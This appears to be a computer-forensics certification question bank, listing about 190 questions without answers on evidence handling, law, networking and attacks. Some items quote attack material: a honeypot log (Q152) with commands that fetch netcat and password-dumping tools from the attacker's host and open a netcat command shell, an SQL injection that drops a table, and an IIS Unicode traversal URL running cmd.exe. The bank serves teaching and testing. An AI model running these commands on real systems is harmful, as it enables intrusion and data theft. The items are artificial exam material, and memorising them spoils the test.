Question1: What operating system would respond to the following command?
Question2: What does mactime, an essential part of the coroner's toolkit do?
Question3: Why would you need to find out the gateway of a device when investigating a wireless attack?
Question4: Why is it a good idea to perform a penetration test from the inside?
Question5: A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents. The picture quality is not degraded at all from this process. What kind of picture is this file. What kind of picture is this file?
Question6: You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data.
What method would be most efficient for you to acquire digital evidence from this network?
Question7: Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information. Why will this not be viable?
Question8: You are assisting in the investigation of a possible Web Server Hack. The company who called you stated that customers reported to them that whenever they entered the web address of the company in their browser, what they received was a porno graphic web site. The company checked the web server and nothing appears wrong. When you type in the IP address of the web site in your browser everything appears normal. What is the name of the attack that affects the DNS cache of the name resolution servers, resulting in those servers directing users to the wrong web site?
Question9: What is a good security method to prevent unauthorized users from "tailgating"?
Question10: What must an investigator do before disconnecting an iPod from any type of computer?
Question11: Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from their various activity. After a computer has been compromised by a hacker, which of the following would be most important in forming a profile of the incident?
Question12: What is the following command trying to accomplish?
Question13: When reviewing web logs, you see an entry for resource not found in the HTTP status code filed.
What is the actual error code that you would see in the log for resource not found?
Question14: What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled?
Question15: At what layer does a cross site scripting attack occur on?
Question16: When needing to search for a website that is no longer present on the Internet today but was online few years back, what site can be used to view the website collection of pages?
Question17: How many possible sequence number combinations are there in TCP/IP protocol?
Question18: A honey pot deployed with the IP 172.16.1.108 was compromised by an attacker. Given below is an excerpt from a Snort binary capture of the attack. Decipher the activity carried out by the attacker by studying the log. Please note that you are required to infer only what is explicit in the excerpt.
(Note: The student is being tested on concepts learnt during passive OS fingerprinting, basic TCP/IP connection concepts and the ability to read packet signatures from a sniff dump.)
03/15-20:21:24.107053 211.185.125.124:3500 -> 172.16.1.108:111
TCP TTL:43 TOS:0x0 ID:29726 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x9B6338C5 Ack: 0x5820ADD0 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 23678634 2878772
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
03/15-20:21:24.452051 211.185.125.124:789 -> 172.16.1.103:111
UDP TTL:43 TOS:0x0 ID:29733 IpLen:20 DgmLen:84
Len: 64
01 0A 8A 0A 00 00 00 00 00 00 00 02 00 01 86 A0 ................
00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 01 86 B8 00 00 00 01 ................
00 00 00 11 00 00 00 00 ........
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
03/15-20:21:24.730436 211.185.125.124:790 -> 172.16.1.103:32773
UDP TTL:43 TOS:0x0 ID:29781 IpLen:20 DgmLen:1104
Len: 1084
47 F7 9F 63 00 00 00 00 00 00 00 02 00 01 86 B8
Question19: Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs improvement. The major area was SNMP security.
The audit company recommended turning off SNMP, but that is not an option since you have so many remote nodes to keep track of. What step could you take to help secure SNMP on your network?
Question20: To preserve digital evidence, an investigator should ____________________.
Question21: Law enforcement officers are conducting a legal search for which a valid warrant was obtained.
While conducting the search, officers observe an item of evidence for an unrelated crime that was not included in the warrant. The item was clearly visible to the officers and immediately identified as evidence.
What is the term used to describe how this evidence is admissible?
Question22: John is working as a computer forensics investigator for a consulting firm in Canada. He is called to seize a computer at a local web caf purportedly used as a botnet server. John thoroughly scans the computer and finds nothing that would lead him to think the computer was a botnet server. John decides to scan the virtual memory of the computer to possibly find something he had missed. What information will the virtual memory scan produce?
Question23: Steven has been given the task of designing a computer forensics lab for the company he works for. He has found documentation on all aspects of how to design a lab except the number of exits needed. How many exits should Steven include in his design for the computer forensics lab?
Question24: Which forensic investigating concept trails the whole incident from how the attack began to how the victim was affected?
Question25: When making the preliminary investigations in a sexual harassment case, how many investigators are you recommended having?
Question26: An "idle" system is also referred to as what?
Question27: Terri works for a security consulting firm that is currently performing a penetration test on First National Bank in Tokyo. Terri's duties include bypassing firewalls and switches to gain access to the network. Terri sends an IP packet to one of the company's switches with ACK bit and the source address of her machine set. What is Terri trying to accomplish by sending this IP packet?
Question28: Cylie is investigating a network breach at a state organization in Florida. She discovers that the intruders were able to gain access into the company firewalls by overloading them with IP packets. Cylie then discovers through her investigation that the intruders hacked into the company phone system and used the hard drives on their PBX system to store shared music files. What would this attack on the company PBX system be called?
Question29: Where is the default location for Apache access logs on a Linux computer?
Question30: In a computer forensics investigation, what describes the route that evidence takes from the time you find it until the case is closed or goes to court?
Question31: What is the smallest physical storage unit on a hard drive?
Question32: Microsoft Outlook maintains email messages in a proprietary format in what type of file?
Question33: You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of California. Your next step is to initiate a DoS attack on their network.
Why would you want to initiate a DoS attack on a system you are testing?
Question34: Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best of your knowledge, an outside security firm is brought in to assess the network security.
Although they found very few issues, they were able to enumerate the model, OS version, and capabilities for all your Cisco routers with very little effort. Which feature will you disable to eliminate the ability to enumerate this information on your Cisco routers?
Question35: How many sectors will a 125 KB file use in a FAT32 file system?
Question36: You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firm's employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will. What do you do?
Question37: When cataloging digital evidence, the primary goal is to
Question38: When should an MD5 hash check be performed when processing evidence?
Question39: Harold is a web designer who has completed a website for ghttech.net. As part of the maintenance agreement he signed with the client, Harold is performing research online and seeing how much exposure the site has received so far. Harold navigates to google.com and types in the following search.
link:www.ghttech.net What will this search produce?
Question40: What will the following command accomplish?
dd if=/dev/xxx of=mbr.backup bs=512 count=1
Question41: When you carve an image, recovering the image depends on which of the following skills?
Question42: Given the drive dimensions as follows and assuming a sector has 512 bytes, what is the capacity of the described hard drive?
22,164 cylinders/disk
80 heads/cylinder
63 sectors/track
Question43: Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen. The financial loss will be in millions of dollars if the database gets into the hands of the competitors.
Jason wants to report this crime to the law enforcement agencies immediately.
Which organization coordinates computer crimes investigations throughout the United States?
Question44: On Linux/Unix based Web servers, what privilege should the daemon service be run under?
Question45: With Regard to using an Antivirus scanner during a computer forensics investigation, You should:
Question46: Paul is a computer forensics investigator working for Tyler & Company Consultants. Paul has been called upon to help investigate a computer hacking ring broken up by the local police. Paul begins to inventory the PCs found in the hackers hideout. Paul then comes across a PDA left by them that is attached to a number of different peripheral devices. What is the first step that Paul must take with the PDA to ensure the integrity of the investigation?
Question47: The rule of thumb when shutting down a system is to pull the power plug. However, it has certain drawbacks. Which of the following would that be?
Question48: Tyler is setting up a wireless network for his business that he runs out of his home. He has followed all the directions from the ISP as well as the wireless router manual. He does not have any encryption set and the SSID is being broadcast. On his laptop, he can pick up the wireless signal for short periods of time, but then the connection drops and the signal goes away.
Eventually the wireless signal shows back up, but drops intermittently. What could be Tyler issue with his home wireless network?
Question49: After attending a CEH security seminar, you make a list of changes you would like to perform on your network to increase its security. One of the first things you change is to switch the RestrictAnonymous setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from establishing a null session on the server. Using Userinfo tool mentioned at the seminar, you succeed in establishing a null session with one of the servers. Why is that?
Question50: Paul's company is in the process of undergoing a complete security audit including logical and physical security testing. After all logical tests were performed; it is now time for the physical round to begin. None of the employees are made aware of this round of testing. The security-auditing firm sends in a technician dressed as an electrician. He waits outside in the lobby for some employees to get to work and follows behind them when they access the restricted areas. After entering the main office, he is able to get into the server room telling the IT manager that there is a problem with the outlets in that room. What type of attack has the technician performed?
Question51: What is the slave device connected to the secondary IDE controller on a Linux OS referred to?
Question52: Under confession, an accused criminal admitted to encrypting child pornography pictures and then hiding them within other pictures. What technique did the accused criminal employ?
Question53: James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his network?
Question54: When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts _______________ in the first letter position of the filename in the FAT database.
Question55: What is considered a grant of a property right given to an individual who discovers or invents a new machine, process, useful composition of matter or manufacture?
Question56: You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe. What are you trying to accomplish here?
Question57: Sectors in hard disks typically contain how many bytes?
Question58: To check for POP3 traffic using Ethereal, what port should an investigator search by?
Question59: Which part of the Windows Registry contains the user's password file?
Question60: George is the network administrator of a large Internet company on the west coast. Per corporate policy, none of the employees in the company are allowed to use FTP or SFTP programs without obtaining approval from the IT department. Few managers are using SFTP program on their computers. Before talking to his boss, George wants to have some proof of their activity. George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network.
What filter should George use in Ethereal?
Question61: What type of flash memory card comes in either Type I or Type II and consumes only five percent of the power required by small hard drives?
Question62: You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab?
Question63: A forensics investigator is searching the hard drive of a computer for files that were recently moved to the Recycle Bin. He searches for files in C:\RECYCLED using a command line tool but does not find anything.
What is the reason for this?
Question64: Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were recoding his every activity and this was later presented as evidence.
The organization had used a Virtual Environment to trap Bob. What is a Virtual Environment?
Question65: Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do write themselves to the hard drive, if you turn the system off they disappear. In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory?
Question66: You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most interested in when trying to trace the source of the message?
Question67: ____________________ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence.
Question68: The following is a log file screenshot from a default installation of IIS 6.0.
What time standard is used by IIS as seen in the screenshot?
Question69: Before you are called to testify as an expert, what must an attorney do first?
Question70: What is kept in the following directory? HKLM\SECURITY\Policy\Secrets
Question71: If you plan to startup a suspect's computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive.
Question72: When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the:
Question73: Preparing an image drive to copy files to is the first step in Linux forensics. For this purpose, what would the following command accomplish?
dcfldd if=/dev/zero of=/dev/hda bs=4096 conv=noerror, sync
Question74: From the following spam mail header, identify the host IP that sent this spam?
From [email protected] [email protected] Tue Nov 27 17:27:11 2001 Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk (8.11.6/8.11.6) with ESMTP id
fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT)
Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1)
with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT) Message-Id: >[email protected]
From: "china hotel web"
To: "Shlam"
Subject: SHANGHAI (HILTON HOTEL) PACKAGE
Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0
X-Priority: 3 X-MSMail-
Priority: Normal
Reply-To: "china hotel web"
Question75: An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?
Question76: After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, stateful firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet. Why is that?
Question77: Where are files temporarily written in Unix when printing?
Question78: When is it appropriate to use computer forensics?
Question79: Frank is working on a vulnerability assessment for a company on the West coast. The company hired Frank to assess its network security through scanning, pen tests, and vulnerability assessments. After discovering numerous known vulnerabilities detected by a temporary IDS he set up, he notices a number of items that show up as unknown but Questionable in the logs. He looks up the behavior on the Internet, but cannot find anything related. What organization should Frank submit the log to find out if it is a new vulnerability or not?
Question80: Michael works for Kimball Construction Company as senior security analyst. As part of yearly security audit, Michael scans his network for vulnerabilities. Using Nmap, Michael conducts XMAS scan and most of the ports scanned do not give a response. In what state are these ports?
Question81: All Blackberry email is eventually sent and received through what proprietary RIM-operated mechanism?
Question82: An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes. What type of activity is the investigator seeing?
Question83: The offset in a hexadecimal code is:
Question84: E-mail logs contain which of the following information to help you in your investigation? (Choose four.)
Question85: Travis, a computer forensics investigator, is finishing up a case he has been working on for over a month involving copyright infringement and embezzlement. His last task is to prepare an investigative report for the president of the company he has been working for. Travis must submit a hard copy and an electronic copy to this president. In what electronic format should Travis send this report?
Question86: In the following email header, where did the email first originate from?
Question87: As a security analyst, you setup a false survey website that will require users to create a username and a strong password. You send the link to all the employees of the company. What information will you be able to gather?
Question88: When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz format, what does the nnn denote?
Question89: You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company. You type in the following URL that includes the IP address of one of the routers:
http://172.168.4.131/level/99/exec/show/config
After typing in this URL, you are presented with the entire configuration file for that router. What have you discovered?
Question90: Why should you note all cable connections for a computer you want to seize as evidence?
Question91: What TCP/UDP port does the toolkit program netstat use?
Question92: You are working on a thesis for your doctorate degree in Computer Science. Your thesis is based on HTML, DHTML, and other web-based languages and how they have evolved over the years.
You navigate to archive. org and view the HTML code of news.com. You then navigate to the current news.com website and copy over the source code. While searching through the code, you come across something abnormal: What have you found?
Question93: When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to:
Question94: What information do you need to recover when searching a victim's computer for a crime committed with specific e-mail message?
Question95: You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls? (Choose two.)
Question96: While looking through the IIS log file of a web server, you find the following entries:
What is evident from this log file?
Question97: Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in Miami Florida. Harold assists in the investigation by pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company where stealing sensitive corporate information and selling it to competing companies. From the email and instant messenger logs recovered, Harold has discovered that the two employees notified the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen material. What type of steganography did these two suspects use?
Question98: An on-site incident response team is called to investigate an alleged case of computer tampering within their company. Before proceeding with the investigation, the CEO informs them that the incident will be classified as low level. How long will the team have to respond to the incident?
Question99: An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are ______________ media used to store large amounts of data and are not affected by the magnet.
Question100: Jack Smith is a forensics investigator who works for Mason Computer Investigation Services. He is investigating a computer that was infected by Ramen Virus.
He runs the netstat command on the machine to see its current connections. In the following screenshot, what do the 0.0.0.0 IP addresses signify?
Question101: What will the following command produce on a website login page? SELECT email, passwd, login_id, full_name FROM members WHERE email = '[email protected]'; DROP TABLE members; --'
Question102: The ____________________ refers to handing over the results of private investigations to the authorities because of indications of criminal activity.
Question103: Which of the following is NOT a graphics file?
Question104: When investigating a Windows System, it is important to view the contents of the page or swap file because:
Question105: You are conducting an investigation of fraudulent claims in an insurance company that involves complex text searches through large numbers of documents. Which of the following tools would allow you to quickly and efficiently search for a string within a file on the bitmap image of the target computer?
Question106: What type of attack sends SYN requests to a target system with spoofed IP addresses?
Question107: Where is the startup configuration located on a router?
Question108: The use of warning banners helps a company avoid litigation by overcoming an employee assumed
__________________________. When connecting to the company's intranet, network or Virtual Private Network(VPN) and will allow the company's investigators to monitor, search and retrieve information stored within the network.
Question109: During an investigation, an employee was found to have deleted harassing emails that were sent to someone else. The company was using Microsoft Exchange and had message tracking enabled. Where could the investigator search to find the message tracking log file on the Exchange server?
Question110: In Microsoft file structures, sectors are grouped together to form:
Question111: You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large pharmaceutical manufacture. While at the corporate office of the company, the CEO demands to know the status of the investigation. What prevents you from discussing the case with the CEO?
Question112: When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device?
Question113: What type of equipment would a forensics investigator store in a StrongHold bag?
Question114: When carrying out a forensics investigation, why should you never delete a partition on a dynamic disk?
Question115: Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?
Question116: Corporate investigations are typically easier than public investigations because:
Question117: What file structure database would you expect to find on floppy disks?
Question118: Using Linux to carry out a forensics investigation, what would the following command accomplish?
dd if=/usr/home/partition.image of=/dev/sdb2 bs=4096 conv=notrunc,noerror
Question119: You are running through a series of tests on your network to check for any security vulnerabilities.
After normal working hours, you initiate a DoS attack against your external firewall. The firewall Quickly freezes up and becomes unusable. You then initiate an FTP connection from an external IP into your internal network. The connection is successful even though you have FTP blocked at the external firewall.
What has happened?
Question120: If a PDA is seized in an investigation while the device is turned on, what would be the proper procedure?
Question121: When setting up a wireless network with multiple access points, why is it important to set each access point on a different channel?
Question122: How many times can data be written to a DVD+R disk?
Question123: On an Active Directory network using NTLM authentication, where on the domain controllers are the passwords stored?
Question124: What will the following Linux command accomplish?
dd if=/dev/mem of=/home/sam/mem.bin bs=1024
Question125: Harold is finishing up a report on a case of network intrusion, corporate spying, and embezzlement that he has been working on for over six months. He is trying to find the right term to use in his report to describe network-enabled spying. What term should Harold use?
Question126: While presenting his case to the court, Simon calls many witnesses to the stand to testify. Simon decides to call Hillary Taft, a lay witness, to the stand. Since Hillary is a lay witness, what field would she be considered an expert in?
Question127: After passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a large organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts respond to your ICMP pings; definitely not the number of hosts you were expecting. Why did this ping sweep only produce a few responses?
Question128: If you are concerned about a high level of compression but not concerned about any possible data loss, what type of compression would you use?
Question129: What will the following URL produce in an unpatched IIS Web Server?
http://www.thetargetsite.com/scripts/..% co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\
Question130: When using an iPod and the host computer is running Windows, what file system will be used?
Question131: What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?
Question132: One technique for hiding information is to change the file extension from the correct one to one that might not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a picture file appears to be a document. What can an investigator examine to verify that a file has the correct extension?
Question133: While searching through a computer under investigation, you discover numerous files that appear to have had the first letter of the file name replaced by the hex code byte 5h. What does this indicate on the computer?
Question134: When an investigator contacts by telephone the domain administrator or controller listed by a Who is lookup to request all e-mails sent and received for a user account be preserved, what U.S.C. statute authorizes this phone call and obligates the ISP to preserve e-mail records?
Question135: In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide you assistance with your investigation. What assistance can the ISP provide?
Question136: In handling computer-related incidents, which IT role should be responsible for recovery, containment, and prevention to constituents?
Question137: Which Intrusion Detection System (IDS) usually produces the most false alarms due to the unpredictable behaviors of users and networks?
Question138: You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case. How would you permanently erase the data on the hard disk?
Question139: Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate.
He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT. Which firewall would be most appropriate for Harold? needs?
Question140: In a virtual test environment, Michael is testing the strength and security of BGP using multiple routers to mimic the backbone of the Internet. This project will help him write his doctoral thesis on "bringing down the Internet". Without sniffing the traffic between the routers, Michael sends millions of RESET packets to the routers in an attempt to shut one or all of them down. After a few hours, one of the routers finally shuts itself down. What will the other routers communicate between themselves?
Question141: You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake email is possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on the company SMTP server?
Question142: What type of analysis helps to identify the time and sequence of events in an investigation?
Question143: How often must a company keep log files for them to be admissible in a court of law?
Question144: What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?
Question145: Why is it still possible to recover files that have been emptied from the Recycle Bin on a Windows computer?
Question146: A computer forensics investigator is inspecting the firewall logs for a large financial institution that has employees working 24 hours a day, 7 days a week.
What can the investigator infer from the screenshot seen below?
Question147: You are the network administrator for a small bank in Dallas, Texas. To ensure network security, you enact a security policy that requires all users to have 14 character passwords. After giving your users 2 weeks notice, you change the Group Policy to force 14 character passwords. A week later you dump the SAM database from the standalone server and run a password-cracking tool against it. Over 99% of the passwords are broken within an hour. Why were these passwords cracked so Quickly?
Question148: This type of testimony is presented by someone who does the actual fieldwork and does not offer a view in court.
Question149: You should make at least how many bit-stream copies of a suspect drive?
Question150: When investigating a potential e-mail crime, what is your first step in the investigation?
Question151: In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?
Question152: The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
Question153: What is the target host IP in the following command?
Question154: Windows identifies which application to open a file with by examining which of the following?
Question155: What does the superblock in Linux define?
Question156: If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response?
Question157: What does ICMP Type 3/Code 13 mean?
Question158: The police believe that Melvin Matthew has been obtaining unauthorized access to computers belonging to numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers, Internet Service Providers and Educational Institutions. They also suspect that he has been stealing, copying and misappropriating proprietary computer software belonging to the several victim companies. What is preventing the police from breaking down the suspects door and searching his home and seizing all of his computer equipment if they have not yet obtained a warrant?
Question159: Which of the following file system is used by Mac OS X?
Question160: What will the following command accomplish?
Question161: John and Hillary works at the same department in the company. John wants to find out Hillary's network password so he can take a look at her documents on the file server. He enables Lophtcrack program to sniffing mode. John sends Hillary an email with a link to Error! Reference source not found. What information will he be able to gather from this?
Question162: When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected.
Question163: Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully. Michael is not quite sure about the procedures to copy all the data off the computer and peripheral devices. How many data acquisition tools should Michael use when creating copies of the evidence for the investigation?
Question164: You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet.
What search string will you use to locate them?
Question165: Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly to detect live hosts by using ICMP ECHO Requests. What type of scan is Jessica going to perform?
Question166: You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network. How would you answer?
Question167: The following excerpt is taken from a honeypot log. The log captures activities across three days.
There are several intrusion attempts; however, a few are successful.
(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 From the options given below choose the one which best interprets the following entry:
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Question168: Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers?
Question169: As a CHFI professional, which of the following is the most important to your professional reputation?
Question170: Why are Linux/Unix based computers better to use than Windows computers for idle scanning?
Question171: Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights or others features that they may need in order to accomplish their objectives. One simple method for loading an application at startup is to add an entry (Key) to the following Registry Hive:
Question172: One way to identify the presence of hidden partitions on a suspect's hard drive is to:
Question173: What is the CIDR from the following screenshot?
Question174: Which is a standard procedure to perform during all computer forensics investigations?
Question175: What binary coding is used most often for e-mail purposes?
Question176: With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________.
Question177: What advantage does the tool Evidor have over the built-in Windows search?
Question178: This organization maintains a database of hash signatures for known software.
Question179: Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document. What is that code called?
Question180: Using Internet logging software to investigate a case of malicious use of computers, the investigator comes across some entries that appear odd.
From the log, the investigator can see where the person in question went on the Internet. From the log, it appears that the user was manually typing in different user ID numbers. What technique this user was trying?
Question181: The objective of this act was to protect consumers' personal financial information held by financial institutions and their service providers.
Question182: A packet is sent to a router that does not have the packet destination address in its route table.
How will the packet get to its proper destination?
Question183: Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers.
Bill protects the PDF documents with a password and sends them to their intended recipients.
Why PDF passwords do not offer maximum protection?
Question184: You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive foot printing against their Web servers. What tool should you use?
Question185: Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking languages. What networking protocol language should she learn that routers utilize?
Question186: How many bits is Source Port Number in TCP Header packet?
Question187: What method of copying should always be performed first before carrying out an investigation?
Question188: After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks.
What countermeasures could he take to prevent DDoS attacks?
Question189: Which program is the bootloader when Windows XP starts up?
Question190: Heather, a computer forensics investigator, is assisting a group of investigators working on a large computer fraud case involving over 20 people. These 20 people, working in different offices, allegedly siphoned off money from many different client accounts. Heather responsibility is to find out how the accused people communicated between each other. She has searched their email and their computers and has not found any useful evidence. Heather then finds some possibly useful evidence under the desk of one of the accused.
In an envelope she finds a piece of plastic with numerous holes cut out of it. Heather then finds the same exact piece of plastic with holes at many of the other accused peoples desks. Heather believes that the 20 people involved in the case were using a cipher to send secret messages in between each other. What type of cipher was used by the accused in this case?
